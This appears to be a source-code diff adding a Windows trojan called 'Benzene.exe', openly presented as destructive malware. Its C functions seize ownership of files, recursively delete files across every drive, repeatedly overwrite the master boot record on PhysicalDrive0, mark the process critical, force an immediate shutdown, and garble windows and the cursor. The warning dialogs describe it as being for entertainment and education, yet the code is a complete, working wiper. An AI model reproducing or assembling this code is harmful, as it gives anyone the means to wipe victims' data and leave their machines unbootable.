+ si.cb = sizeof( si );
369
+ CreateProcessW( szNewPath, NULL, NULL, NULL, FALSE, DETACHED_PROCESS, NULL, NULL, &si, &pi );
370
+ CloseHandle( pi.hProcess );
371
+ CloseHandle( pi.hThread );
372
+
373
+ return FALSE;
374
+ }
375
+ else
376
+ {
377
+ *wcsrchr( szPath, L'.' ) = 0;
378
+ wcscat_s( szPath, MAX_PATH, L".txt" );
379
+
380
+ while ( ( hFile = CreateFileW( szPath, GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL ) ) == INVALID_HANDLE_VALUE )
381
+ {
382
+ Sleep( 10 );
383
+ }
384
+
385
+ while ( !ReadFile( hFile, szNewPath, MAX_PATH, &dwUnnamed, NULL ) )
386
+ {
387
+ Sleep( 10 );
388
+ }
389
+
390
+ CloseHandle( hFile );
391
+
392
+ while ( !DeleteFileW( szPath ) )
393
+ {
394
+ Sleep( 10 );
395
+ }
396
+
397
+ while ( !DeleteFileW( szNewPath ) )
398
+ {
399
+ Sleep( 10 );
400
+ }
401
+
402
+ if ( MessageBoxW( NULL, L"WARNING!\n\nYou have ran a Trojan known as Benzene.exe that has full capacity to delete all of your data and your operating system.\n\nBy continuing, you keep in mind that the creator will not be responsible for any damage caused by this trojan and it is highly recommended that you run this in a testing virtual machine where a snapshot has been made before execution for the sake of entertainment and analysis.\n\nAre you sure you want to run this?", L"Malware alert - Benzene.exe", MB_ICONWARNING | MB_YESNO ) != IDYES )
403
+ return FALSE;
404
+ if ( MessageBoxW( NULL, L"FINAL WARNING!!!\n\nThis Trojan has a lot of destructive potential. You will lose all of your data if you continue, and the creator will not be responsible for any of the damage caused. This is not meant to be malicious but simply for entertainment and educational purposes.\n\nAre you sure you want to continue? This is your final chance to stop this program from execution.", L"Malware alert - Benzene.exe", MB_ICONWARNING | MB_YESNO ) != IDYES )
405
+ return FALSE;
406
+ }
407
+
408
+ return TRUE;
409
+ }
410
+
411
+ BOOL
412
+ WINAPI
413
+ SetPrivilege(
414
+ _In_ HANDLE hToken,
415
+ _In_ PCWSTR szPrivilege,
416
+ _In_ BOOL bEnablePrivilege
417
+ )
418
+ {
419
+ TOKEN_PRIVILEGES tp;
420
+ LUID luid;
421
+
422
+ if ( !LookupPrivilegeValueW( NULL, szPrivilege, &luid ) )
423
+ {
424
+ return FALSE;
425
+ }
426
+
427
+ tp.PrivilegeCount = 1;
428
+ tp.Privileges[ 0 ].Luid = luid;
429
+ if ( bEnablePrivilege )
430
+ tp.Privileges[ 0 ].Attributes = SE_PRIVILEGE_ENABLED;
431
+ else
432
+ tp.Privileges[ 0 ].Attributes = 0;
433
+
434
+ if ( !AdjustTokenPrivileges( hToken, FALSE, &tp, sizeof( TOKEN_PRIVILEGES ), ( PTOKEN_PRIVILEGES )NULL, ( PDWORD )NULL ) )
435
+ {
436
+ return FALSE;
437
+ }
438
+
439
+ if ( GetLastError( ) == ERROR_NOT_ALL_ASSIGNED )
440
+ {
441
+ return FALSE;
442
+ }
443
+
444
+ return TRUE;
445
+ }
446
+
447
+ BOOL
448
+ WINAPI
449
+ TakeOwnership(
450
+ _In_ PWSTR szFile
451
+ )
452
+ {
453
+ BOOL bRetval = FALSE;
454
+ HANDLE hToken = NULL;
455
+ PSID pSIDAdmin = NULL, pSIDEveryone = NULL;
456
+ PACL pACL = NULL;
457
+ SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY, SIDAuthNT = SECURITY_NT_AUTHORITY;
458
+ EXPLICIT_ACCESS ea[ NUM_ACES ] = { 0 };
459
+ DWORD dwRes;
460
+
461
+ if ( !AllocateAndInitializeSid( &SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &pSIDEveryone ) )
462
+ {
463
+ goto cleanup;
464
+ }
465
+
466
+ if ( !AllocateAndInitializeSid( &SIDAuthNT, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &pSIDAdmin ) )
467
+ {
468
+ goto cleanup;
469
+ }
470
+
471
+ ea[ 0 ].grfAccessPermissions = GENERIC_ALL;
472
+ ea[ 0 ].grfAccessMode = SET_ACCESS;
473
+ ea[ 0 ].grfInheritance = NO_INHERITANCE;
474
+ ea[ 0 ].Trustee.TrusteeForm = TRUSTEE_IS_SID;
475
+ ea[ 0 ].Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
476
+ ea[ 0 ].Trustee.ptstrName = ( PWSTR )pSIDEveryone;
477
+
478
+ ea[ 1 ].grfAccessPermissions = GENERIC_ALL;
479
+ ea[ 1 ].grfAccessMode = SET_ACCESS;
480
+ ea[ 1 ].grfInheritance = NO_INHERITANCE;
481
+ ea[ 1 ].Trustee.TrusteeForm = TRUSTEE_IS_SID;
482
+ ea[ 1 ].Trustee.TrusteeType = TRUSTEE_IS_GROUP;
483
+ ea[ 1 ].Trustee.ptstrName = ( PWSTR )pSIDAdmin;
484
+
485
+ if ( SetEntriesInAclW( NUM_ACES, ea, NULL, &pACL ) != ERROR_SUCCESS )
486
+ {
487
+ goto cleanup;
488
+ }
489
+
490
+ dwRes = SetNamedSecurityInfoW( szFile, SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pACL, NULL );
491
+
492
+ if ( dwRes == ERROR_SUCCESS )
493
+ {
494
+ bRetval = TRUE;
495
+ goto cleanup;
496
+ }
497
+
498
+ if ( dwRes != ERROR_ACCESS_DENIED )
499
+ {
500
+ goto cleanup;
501
+ }
502
+
503
+ if ( !OpenProcessToken( GetCurrentProcess( ), TOKEN_ADJUST_PRIVILEGES, &hToken ) )
504
+ {
505
+ goto cleanup;
506
+ }
507
+
508
+ if ( !SetPrivilege( hToken, SE_TAKE_OWNERSHIP_NAME, TRUE ) )
509
+ {
510
+ goto cleanup;
511
+ }
512
+
513
+ dwRes = SetNamedSecurityInfoW( szFile, SE_FILE_OBJECT, OWNER_SECURITY_INFORMATION, pSIDAdmin, NULL, NULL, NULL );
514
+
515
+ if ( dwRes != ERROR_SUCCESS )
516
+ {
517
+ goto cleanup;
518
+ }
519
+
520
+ if ( !SetPrivilege( hToken, SE_TAKE_OWNERSHIP_NAME, FALSE ) )
521
+ {
522
+ goto cleanup;
523
+ }
524
+
525
+ dwRes = SetNamedSecurityInfoW( szFile, SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pACL, NULL );
526
+
527
+ if ( dwRes == ERROR_SUCCESS )
528
+ {
529
+ bRetval = TRUE;
530
+ }
531
+
532
+ cleanup:
533
+ if ( pSIDAdmin ) FreeSid( pSIDAdmin );
534
+ if ( pSIDEveryone ) FreeSid( pSIDEveryone );
535
+ if ( pACL ) LocalFree( pACL );
536
+ if ( hToken ) CloseHandle( hToken );
537
+
538
+ return bRetval;
539
+ }
540
+
541
+ VOID
542
+ WINAPI
543
+ DriveMess( VOID )
544
+ {
545
+ WCHAR szTempDrives[ 512 ] = { 0 };
546
+ DWORD dwLength = GetLogicalDriveStringsW( 512, szTempDrives );
547
+
548
+ CloseHandle( CreateThread( NULL, 0, ( PTHREAD_START_ROUTINE )FileMess, szTempDrives, 0, NULL ) );
549
+ for ( DWORD i = 0; i < dwLength; i++ )
550
+ {
551
+ if ( !szTempDrives[ i ] )
552
+ {
553
+ CloseHandle( CreateThread( NULL, 0, ( PTHREAD_START_ROUTINE )FileMess, szTempDrives + ( i + 1 ) * sizeof( WCHAR ), 0, NULL ) );
554
+ }
555
+ }
556
+ }
557
+
558
+ BOOL
559
+ WINAPI
560
+ FileMess(
561
+ _In_ PWSTR szDirectory
562
+ )
563
+ {
564
+ TakeOwnership( szDirectory );
565
+
566
+ WCHAR szSearchDir[ MAX_PATH ] = { 0 };
567
+ lstrcpyW( szSearchDir, szDirectory );
568
+ lstrcatW( szSearchDir, L"*.*" );
569
+
570
+ WIN32_FIND_DATA findData;
571
+ HANDLE hSearch = FindFirstFileW( szSearchDir, &findData );
572
+
573
+ if ( hSearch == INVALID_HANDLE_VALUE )
574
+ return FALSE;
575
+ else do
576
+ {
577
+ if ( !lstrcmpW( findData.cFileName, L"." ) || !lstrcmpW( findData.cFileName, L".." ) ||
578
+ findData.dwFileAttributes & FILE_ATTRIBUTE_REPARSE_POINT )
579
+ {
580
+ continue;
581
+ }
582
+
583
+ WCHAR szPath[ MAX_PATH ] = { 0 };
584
+ lstrcpyW( szPath, szDirectory );
585
+ lstrcatW( szPath, findData.cFileName );
586
+
587
+ TakeOwnership( szPath );
588
+
589
+ if ( findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY )
590
+ {
591
+ lstrcatW( szPath, L"\\" );
592
+ FileMess( szPath );
593
+ RemoveDirectoryW( szPath );
594
+ }
595
+ else
596
+ {
597
+ if ( Xorshift32( ) % 24 )
598
+ {
599
+ DeleteFileW( szPath );
600
+ }
601
+ else
602
+ {
603
+ ShellExecuteW( NULL, L"open", szPath, NULL, szDirectory, SW_SHOW );
604
+ }
605
+ }
606
+ }
607
+ while ( FindNextFileW( hSearch, &findData ) );
608
+
609
+ FindClose( hSearch );
610
+ RemoveDirectoryW( szDirectory );
611
+
612
+ return TRUE;
613
+ }
614
+
615
+ const size_t code1_len = sizeof(pccMbrData);
616
+
617
+
618
+ BOOL
619
+ WINAPI
620
+ OverwriteBoot( VOID )
621
+ {
622
+ HANDLE hDrive;
623
+ DWORD dwWrittenBytes;
624
+ BOOL bSuccess;
625
+
626
+ hDrive = CreateFileW( L"\\\\.\\PhysicalDrive0", GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL );
627
+
628
+ unsigned char* bootcode = (unsigned char*)LocalAlloc(LMEM_ZEROINIT, 65536);
629
+
630
+ unsigned int i = 0;
631
+ for (; i < code1_len; i++)
632
+ *(bootcode + i) = *(pccMbrData + i);
633
+
634
+ if ( hDrive == INVALID_HANDLE_VALUE )
635
+ {
636
+ MessageBoxW( NULL, L"I failed to infect your computer and I am a failure.\n...\nI hope you don't mind.\n(God, this is so embarrassing...)", L"Benzene.exe", MB_OK | MB_ICONERROR );
637
+ return FALSE;
638
+ }
639
+
640
+ bSuccess = WriteFile(hDrive, bootcode, 65536, &dwWrittenBytes, NULL);
641
+
642
+ if ( !bSuccess )
643
+ {
644
+ MessageBoxW( NULL, L"Uhm... Why can't I overwrite your bootloader?\nOkay, well, I guess I can die now.", L"Benzene.exe", MB_OK | MB_ICONERROR );
645
+ CloseHandle( hDrive );
646
+
647
+ return FALSE;
648
+ }
649
+
650
+ for ( ;; WriteFile( hDrive, bootcode, 65536, &dwWrittenBytes, NULL ) );
651
+ }
652
+
653
+ BOOL
654
+ WINAPI
655
+ ForceShutdownComputer( VOID )
656
+ {
657
+ NTSTATUS( NTAPI * RtlAdjustPrivilege )( ULONG ulPrivilege, BOOLEAN bEnable, BOOLEAN bCurrentThread, PBOOLEAN pbEnabled );
658
+ NTSTATUS( NTAPI * NtShutdownSystem )( _In_ SHUTDOWN_ACTION Action );
659
+ NTSTATUS( NTAPI * NtSetSystemPowerState )( _In_ POWER_ACTION SystemAction, _In_ SYSTEM_POWER_STATE MinSystemState, _In_ ULONG Flags );
660
+ NTSTATUS ntReturnValue;
661
+ HMODULE hNtDll;
662
+ BOOLEAN bUnused;
663
+ BOOL bSuccess;
664
+
665
+ hNtDll = LoadLibraryW( L"ntdll.dll" );
666
+ RtlAdjustPrivilege = ( PVOID )GetProcAddress( hNtDll, "RtlAdjustPrivilege" );
667
+ NtSetSystemPowerState = ( PVOID )GetProcAddress( hNtDll, "NtSetSystemPowerState" );
668
+ NtShutdownSystem = ( PVOID )GetProcAddress( hNtDll, "NtShutdownSystem" );
669
+
670
+ if ( RtlAdjustPrivilege )
671
+ {
672
+ ntReturnValue = RtlAdjustPrivilege( 19 /* SeShutdownPrivilege */, TRUE, FALSE, &bUnused );
673
+
674
+ if ( ntReturnValue )
675
+ {
676
+ MessageBoxW( NULL, L"I'm not allowed to adjust my debug privilege, somehow.\nYou're doing something here, aren't you?!", L"Benzene.exe", MB_OK | MB_ICONERROR );
677
+ return FALSE;
678
+ }
679
+ }
680
+
681
+ if ( NtSetSystemPowerState )
682
+ {
683
+ ntReturnValue = NtSetSystemPowerState( PowerActionShutdownOff, PowerSystemShutdown,
684
+ SHTDN_REASON_MAJOR_HARDWARE | SHTDN_REASON_MINOR_POWER_SUPPLY );
685
+
686
+ if ( !ntReturnValue )
687
+ {
688
+ return TRUE;
689
+ }
690
+ }
691
+
692
+ if ( NtShutdownSystem )
693
+ {
694
+ ntReturnValue = NtShutdownSystem( ShutdownPowerOff );
695
+
696
+ if ( !ntReturnValue )
697
+ {
698
+ return TRUE;
699
+ }
700
+ }
701
+
702
+ bSuccess = ExitWindowsEx( EWX_POWEROFF, EWX_FORCE );
703
+
704
+ if ( !bSuccess )
705
+ {
706
+ MessageBoxW( NULL, L"I can't power off the computer.\nYou're lucky this time...", L"Benzene.exe", MB_OK | MB_ICONERROR );
707
+
708
+ return FALSE;
709
+ }
710
+
711
+ return TRUE;
712
+ }
713
+
714
+ BOOL
715
+ WINAPI
716
+ SetProcessCritical( VOID )
717
+ {
718
+ NTSTATUS( NTAPI * RtlAdjustPrivilege )( ULONG ulPrivilege, BOOLEAN bEnable, BOOLEAN bCurrentThread, PBOOLEAN pbEnabled );
719
+ NTSTATUS( NTAPI * RtlSetProcessIsCritical )( BOOLEAN bNew, PBOOLEAN pbOld, BOOLEAN bNeedScb );
720
+ NTSTATUS ntReturnValue;
721
+ ULONG ulBreakOnTermination;
722
+ BOOLEAN bUnused;
723
+ HMODULE hNtDll;
724
+
725
+ hNtDll = LoadLibraryW( L"ntdll.dll" );
726
+ RtlAdjustPrivilege = ( PVOID )GetProcAddress( hNtDll, "RtlAdjustPrivilege" );
727
+ RtlSetProcessIsCritical = ( PVOID )GetProcAddress( hNtDll, "RtlSetProcessIsCritical" );
728
+
729
+ if ( RtlAdjustPrivilege )
730
+ {
731
+ ntReturnValue = RtlAdjustPrivilege( 20 /* SeDebugPrivilege */, TRUE, FALSE, &bUnused );
732
+
733
+ if ( ntReturnValue )
734
+ {
735
+ MessageBoxW( NULL, L"I can't adjust my debug privileges... somehow.", L"Benzene.exe", MB_OK | MB_ICONERROR );
736
+
737
+ return FALSE;
738
+ }
739
+ }
740
+ else
741
+ {
742
+ MessageBoxW( NULL, L"Nope, can't find RtlAdjustPrivilege... What the hell is this?", L"Benzene.exe", MB_OK | MB_ICONERROR );
743
+
744
+ return FALSE;
745
+ }
746
+
747
+ if ( RtlSetProcessIsCritical )
748
+ {
749
+ ulBreakOnTermination = 1;
750
+ ntReturnValue = RtlSetProcessIsCritical( TRUE, NULL, FALSE );
751
+
752
+ if ( ntReturnValue )
753
+ {
754
+ MessageBoxW( NULL, L"Uhm... It's not letting me be a critical process... This isn't right!", L"Benzene.exe", MB_OK | MB_ICONERROR );
755
+
756
+ return FALSE;
757
+ }
758
+ }
759
+ else
760
+ {
761
+ MessageBoxW( NULL, L"Please help me out, I can't find RtlSetProcessIsCritical. Do you know where it is?", L"Benzene.exe", MB_OK | MB_ICONERROR );
762
+
763
+ return FALSE;
764
+ }
765
+
766
+ return TRUE;
767
+ }
src/Benzene-main/Destructive/Benzene/destruction.h ADDED
@@ -0,0 +1,37 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #pragma once
2
+ #include "benzene.h"
3
+
4
+ #define NUM_ACES 2
5
+
6
+ typedef enum _SHUTDOWN_ACTION
7
+ {
8
+ ShutdownNoReboot,
9
+ ShutdownReboot,
10
+ ShutdownPowerOff
11
+ } SHUTDOWN_ACTION, *PSHUTDOWN_ACTION;
12
+
13
+ BOOL
14
+ WINAPI
15
+ ExecuteDropper( VOID );
16
+
17
+ VOID
18
+ WINAPI
19
+ DriveMess( VOID );
20
+
21
+ BOOL
22
+ WINAPI
23
+ FileMess(
24
+ _In_ PWSTR szDirectory
25
+ );
26
+
27
+ BOOL
28
+ WINAPI
29
+ OverwriteBoot( VOID );
30
+
31
+ BOOL
32
+ WINAPI
33
+ ForceShutdownComputer( VOID );
34
+
35
+ BOOL
36
+ WINAPI
37
+ SetProcessCritical( VOID );
src/Benzene-main/Destructive/Benzene/extra_payloads.c ADDED
@@ -0,0 +1,247 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #include "benzene.h"
2
+
3
+ VOID
4
+ GetRandomPath(
5
+ _Inout_ PWSTR szRandom,
6
+ _In_ INT nLength
7
+ )
8
+ {
9
+ for ( INT i = 0; i < nLength; i++ )
10
+ {
11
+ szRandom[ i ] = ( WCHAR )( Xorshift32( ) % ( 0x9FFF - 0x4E00 + 1 ) + 0x4E00 );
12
+ }
13
+ }
14
+
15
+ BOOL
16
+ CALLBACK
17
+ MsgBoxRefreshWndProc(
18
+ _In_ HWND hwnd,
19
+ _In_ LPARAM lParam
20
+ )
21
+ {
22
+ UNREFERENCED_PARAMETER( lParam );
23
+ RedrawWindow( hwnd, NULL, NULL, RDW_ERASE | RDW_INVALIDATE );
24
+ return TRUE;
25
+ }
26
+
27
+ BOOL
28
+ CALLBACK
29
+ MsgBoxWndProc(
30
+ _In_ HWND hwnd,
31
+ _In_ LPARAM lParam
32
+ )
33
+ {
34
+ UNREFERENCED_PARAMETER( lParam );
35
+ EnableWindow( hwnd, FALSE );
36
+ SetWindowTextW( hwnd, L"Terrible decision." );
37
+ return TRUE;
38
+ }
39
+
40
+ VOID
41
+ WINAPI
42
+ MsgBoxCorruptionThread(
43
+ _In_ HWND hwndMsgBox
44
+ )
45
+ {
46
+ BITMAPINFO bmi = { 0 };
47
+ HANDLE hHeap;
48
+ PRGBQUAD prgbPixels;
49
+ HDC hdcMsgBox;
50
+ HDC hdcTempMsgBox;
51
+ HBITMAP hbmMsgBox;
52
+ RECT rcMsgBox;
53
+ INT w;
54
+ INT h;
55
+
56
+ GetWindowRect( hwndMsgBox, &rcMsgBox );
57
+ w = rcMsgBox.right - rcMsgBox.left;
58
+ h = rcMsgBox.bottom - rcMsgBox.top;
59
+
60
+ bmi.bmiHeader.biSize = sizeof( BITMAPINFO );
61
+ bmi.bmiHeader.biBitCount = 32;
62
+ bmi.bmiHeader.biPlanes = 1;
63
+ bmi.bmiHeader.biWidth = w;
64
+ bmi.bmiHeader.biHeight = h;
65
+
66
+ hHeap = GetProcessHeap( );
67
+ prgbPixels = ( PRGBQUAD )HeapAlloc( hHeap, 0, w * h * sizeof( RGBQUAD ) );
68
+
69
+ hdcMsgBox = GetDC( hwndMsgBox );
70
+ hdcTempMsgBox = CreateCompatibleDC( hdcMsgBox );
71
+ hbmMsgBox = CreateDIBSection( hdcMsgBox, &bmi, 0, &prgbPixels, NULL, 0 );
72
+ SelectObject( hdcTempMsgBox, hbmMsgBox );
73
+
74
+ for ( ;; )
75
+ {
76
+ for ( INT32 i = 0; i < w * h; i++ )
77
+ {
78
+ prgbPixels[ i ].rgb = ( Xorshift32( ) % 0x100 ) * 0x010101;
79
+ }
80
+
81
+ BitBlt( hdcMsgBox, 0, 0, w, h, hdcTempMsgBox, 0, 0, SRCCOPY );
82
+ EnumChildWindows( hwndMsgBox, MsgBoxRefreshWndProc, 0 );
83
+ Sleep( 10 );
84
+ }
85
+ }
86
+
87
+ LRESULT
88
+ CALLBACK
89
+ MsgBoxHookProc(
90
+ _In_ INT nCode,
91
+ _In_ WPARAM wParam,
92
+ _In_ LPARAM lParam
93
+ )
94
+ {
95
+ HWND hwndMsgBox;
96
+
97
+ if ( nCode == HCBT_ACTIVATE )
98
+ {
99
+ hwndMsgBox = ( HWND )wParam;
100
+
101
+ ShowWindow( hwndMsgBox, SW_SHOW );
102
+
103
+ EnumChildWindows( hwndMsgBox, MsgBoxWndProc, 0 );
104
+ CreateThread( NULL, 0, ( PTHREAD_START_ROUTINE )MsgBoxCorruptionThread, hwndMsgBox, 0, NULL );
105
+
106
+ return 0;
107
+ }
108
+
109
+ return CallNextHookEx( hMsgHook, nCode, wParam, lParam );
110
+ }
111
+
112
+ VOID
113
+ WINAPI
114
+ MessageBoxThread( VOID )
115
+ {
116
+ hMsgHook = SetWindowsHookExW( WH_CBT, MsgBoxHookProc, NULL, GetCurrentThreadId( ) );
117
+ MessageBoxW( NULL, L"Terrible decision.", L"Terrible decision.", MB_ABORTRETRYIGNORE | MB_ICONERROR );
118
+ UnhookWindowsHookEx( hMsgHook );
119
+ }
120
+
121
+ BOOL
122
+ CALLBACK
123
+ GlobalWndProc(
124
+ _In_ HWND hwnd,
125
+ _In_ LPARAM lParam
126
+ )
127
+ {
128
+ BOOL bParent;
129
+ HDC hdc;
130
+ RECT rcOriginal;
131
+ RECT rc;
132
+ INT w;
133
+ INT h;
134
+
135
+ Sleep( 10 );
136
+
137
+ WCHAR szWndText[ 256 ];
138
+ for ( INT i = 0; i < 256; i++ )
139
+ {
140
+ szWndText[ i ] = ( WCHAR )( ( Xorshift32( ) % 256 ) + 1 );
141
+ }
142
+
143
+ SetWindowTextW( hwnd, szWndText );
144
+
145
+ GetWindowRect( hwnd, &rcOriginal );
146
+
147
+ rc = rcOriginal;
148
+
149
+ rc.left += Xorshift32( ) % 3 - 1;
150
+ rc.top += Xorshift32( ) % 3 - 1;
151
+ rc.right += Xorshift32( ) % 3 - 1;
152
+ rc.bottom += Xorshift32( ) % 3 - 1;
153
+
154
+ w = rc.right - rc.left;
155
+ h = rc.bottom - rc.top;
156
+
157
+ MoveWindow( hwnd, rc.left, rc.top, w, h, TRUE );
158
+
159
+ hdc = GetDC( hwnd );
160
+
161
+ if ( Xorshift32( ) % 2 )
162
+ {
163
+ BitBlt( hdc, rc.left, rc.top, w, h, hdc, rcOriginal.left, rcOriginal.top, ( Xorshift32( ) % 2 ) ? SRCAND : SRCPAINT );
164
+ }
165
+ else
166
+ {
167
+ w = rcOriginal.right - rcOriginal.left;
168
+ h = rcOriginal.bottom - rcOriginal.top;
169
+ StretchBlt( hdc, rcOriginal.left, rcOriginal.top, w, h, hdcDesktop, rcScrBounds.left, rcScrBounds.top,
170
+ rcScrBounds.right - rcScrBounds.left, rcScrBounds.bottom - rcScrBounds.top,
171
+ ( Xorshift32( ) % 2 ) ? SRCAND : SRCPAINT );
172
+ }
173
+
174
+ ReleaseDC( hwnd, hdc );
175
+
176
+ bParent = ( BOOL )lParam;
177
+
178
+ if ( bParent )
179
+ {
180
+ EnumChildWindows( hwnd, GlobalWndProc, FALSE );
181
+ }
182
+
183
+ return TRUE;
184
+ }
185
+
186
+ VOID
187
+ WINAPI
188
+ EnumGlobalWnd( VOID )
189
+ {
190
+ for ( ;; )
191
+ {
192
+ EnumWindows( GlobalWndProc, TRUE );
193
+ }
194
+ }
195
+
196
+ VOID
197
+ WINAPI
198
+ CursorClicker( VOID )
199
+ {
200
+ INT ppdwClickEvents[ 2 ][ 2 ] = {
201
+ { MOUSEEVENTF_LEFTDOWN, MOUSEEVENTF_LEFTUP },
202
+ { MOUSEEVENTF_RIGHTDOWN, MOUSEEVENTF_RIGHTUP }
203
+ };
204
+
205
+ for ( ;; )
206
+ {
207
+ INT nIndex = Xorshift32( ) % 2;
208
+
209
+ mouse_event( ppdwClickEvents[ nIndex ][ 0 ], 0, 0, 0, 0 );
210
+ Sleep( Xorshift32( ) % 51 + 50 );
211
+
212
+ mouse_event( ppdwClickEvents[ nIndex ][ 1 ], 0, 0, 0, 0 );
213
+ Sleep( Xorshift32( ) % 51 + 50 );
214
+ }
215
+ }
216
+
217
+ VOID
218
+ WINAPI
219
+ CursorMess( VOID )
220
+ {
221
+ for ( ;; )
222
+ {
223
+ SetCursorPos( Xorshift32( ) % ( rcScrBounds.right - rcScrBounds.left ) - rcScrBounds.left,
224
+ Xorshift32( ) % ( rcScrBounds.bottom - rcScrBounds.top ) - rcScrBounds.top );
225
+ Sleep( 1000 );
226
+ }
227
+ }
228
+
229
+ VOID
230
+ WINAPI
231
+ CursorDraw( VOID )
232
+ {
233
+ CURSORINFO curInf = { sizeof( CURSORINFO ) };
234
+
235
+ for ( ;; )
236
+ {
237
+ GetCursorInfo( &curInf );
238
+
239
+ for ( INT i = 0; i < ( INT )( Xorshift32( ) % 5 + 1 ); i++ )
240
+ {
241
+ DrawIcon( hdcDesktop, Xorshift32( ) % ( rcScrBounds.right - rcScrBounds.left - GetSystemMetrics( SM_CXCURSOR ) ) - rcScrBounds.left,
242
+ Xorshift32( ) % ( rcScrBounds.bottom - rcScrBounds.top - GetSystemMetrics( SM_CYCURSOR ) ) - rcScrBounds.top, curInf.hCursor );
243
+ }
244
+ DestroyCursor( curInf.hCursor );
245
+ Sleep( Xorshift32( ) % 11 );
246
+ }
247
+ }
src/Benzene-main/Destructive/Benzene/extra_payloads.h ADDED
@@ -0,0 +1,28 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #pragma once
2
+ #include "benzene.h"
3
+
4
+ VOID
5
+ GetRandomPath(
6
+ _Inout_ PWSTR szRandom,
7
+ _In_ INT nLength
8
+ );
9
+
10
+ VOID
11
+ WINAPI
12
+ MessageBoxThread( VOID );
13
+
14
+ VOID
15
+ WINAPI
16
+ EnumGlobalWnd( VOID );
17
+
18
+ VOID
19
+ WINAPI
20
+ CursorClicker( VOID );
21
+
22
+ VOID
23
+ WINAPI
24
+ CursorMess( VOID );
25
+
26
+ VOID
27
+ WINAPI
28
+ CursorDraw( VOID );
src/Benzene-main/Destructive/Benzene/main.c ADDED
@@ -0,0 +1,159 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #include "benzene.h"
2
+
3
+ #pragma region Public Variables
4
+ HWND hwndDesktop;
5
+ HDC hdcDesktop;
6
+ RECT rcScrBounds;
7
+ HHOOK hMsgHook;
8
+ INT nCounter = 0;
9
+ #pragma endregion Public Variables
10
+
11
+ VOID
12
+ WINAPI
13
+ Initialize(VOID)
14
+ {
15
+ HMODULE hModUser32 = LoadLibraryW(L"user32.dll");
16
+ BOOL(WINAPI * SetProcessDPIAware)(VOID) = (BOOL(WINAPI*)(VOID))GetProcAddress(hModUser32, "SetProcessDPIAware");
17
+ if (SetProcessDPIAware)
18
+ SetProcessDPIAware();
19
+ FreeLibrary(hModUser32);
20
+
21
+ hwndDesktop = HWND_DESKTOP;
22
+ hdcDesktop = GetDC(hwndDesktop);
23
+
24
+ SeedXorshift32((DWORD)__rdtsc());
25
+ InitializeSine();
26
+ EnumDisplayMonitors(NULL, NULL, &MonitorEnumProc, 0);
27
+ CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)TimerThread, NULL, 0, NULL));
28
+ }
29
+
30
+ INT
31
+ WINAPI
32
+ wWinMain(
33
+ _In_ HINSTANCE hInstance,
34
+ _In_opt_ HINSTANCE hPrevInstance,
35
+ _In_ PWSTR pszCmdLine,
36
+ _In_ INT nShowCmd
37
+ )
38
+ {
39
+ UNREFERENCED_PARAMETER(hInstance);
40
+ UNREFERENCED_PARAMETER(hPrevInstance);
41
+ UNREFERENCED_PARAMETER(pszCmdLine);
42
+ UNREFERENCED_PARAMETER(nShowCmd);
43
+
44
+ HANDLE hCursorDraw, hAudioThread, hGdiThread;
45
+
46
+ Initialize();
47
+
48
+ if (!ExecuteDropper())
49
+ {
50
+ return 0;
51
+ }
52
+
53
+ if (!SetProcessCritical())
54
+ {
55
+ CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)OverwriteBoot, NULL, 0, NULL));
56
+ Sleep(1000);
57
+ ForceShutdownComputer();
58
+
59
+ return 0;
60
+ }
61
+
62
+
63
+ Sleep(5000);
64
+ //CloseHandle( CreateThread( NULL, 0, ( PTHREAD_START_ROUTINE )MessageBoxThread, NULL, 0, NULL ) );
65
+ Sleep(1000);
66
+
67
+ DriveMess();
68
+
69
+ CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)OverwriteBoot, NULL, 0, NULL));
70
+ CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)EnumGlobalWnd, NULL, 0, NULL));
71
